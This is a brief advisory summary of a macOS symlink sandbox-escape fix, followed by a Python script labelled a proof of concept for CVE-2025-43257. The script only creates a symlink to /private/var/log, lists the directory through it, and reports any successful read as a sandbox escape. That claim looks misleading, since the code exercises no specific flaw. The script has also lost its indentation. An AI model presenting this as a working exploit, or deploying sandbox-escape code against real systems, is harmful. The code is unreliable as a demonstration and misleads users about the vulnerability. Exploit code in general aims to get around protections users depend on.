This issue was addressed with improved handling of symlinks. This issue is fixed in macOS Sequoia 15.6. An app may be able to break out of its sandbox.
The following code is for security research and authorized testing only.
python
# PoC for CVE-2025-43257: macOS Symlink Sandbox Escape
# Description: This script demonstrates the concept of creating a symlink
# to a restricted directory outside the sandbox to test the vulnerability.
import os
def check_sandbox_escape():
# Target a directory typically restricted by the sandbox
target_dir = "/private/var/log"
link_name = "exploit_symlink"
print(f"[*] Attempting to create symlink to {target_dir}...")
try:
# Create the symbolic link
os.symlink(target_dir, link_name)
print("[+] Symlink created successfully.")
# Attempt to read the directory contents via the symlink
# If the sandbox is bypassed, this should succeed
files = os.listdir(link_name)
print(f"[!] SUCCESS: Read directory contents: {files[:5]}...")
print("[!] This indicates a potential Sandbox Escape.")
except PermissionError:
print("[-] Permission denied. Sandbox is likely intact.")
except OSError as e:
print(f"[-] OS Error: {e}")
except Exception as e:
print(f"[-] Unexpected error: {e}")
finally:
# Clean up the symlink
if os.path.islink(link_name):
os.remove(link_name)
print("[*] Cleaned up symlink.")
if __name__ == "__main__":
check_sandbox_escape()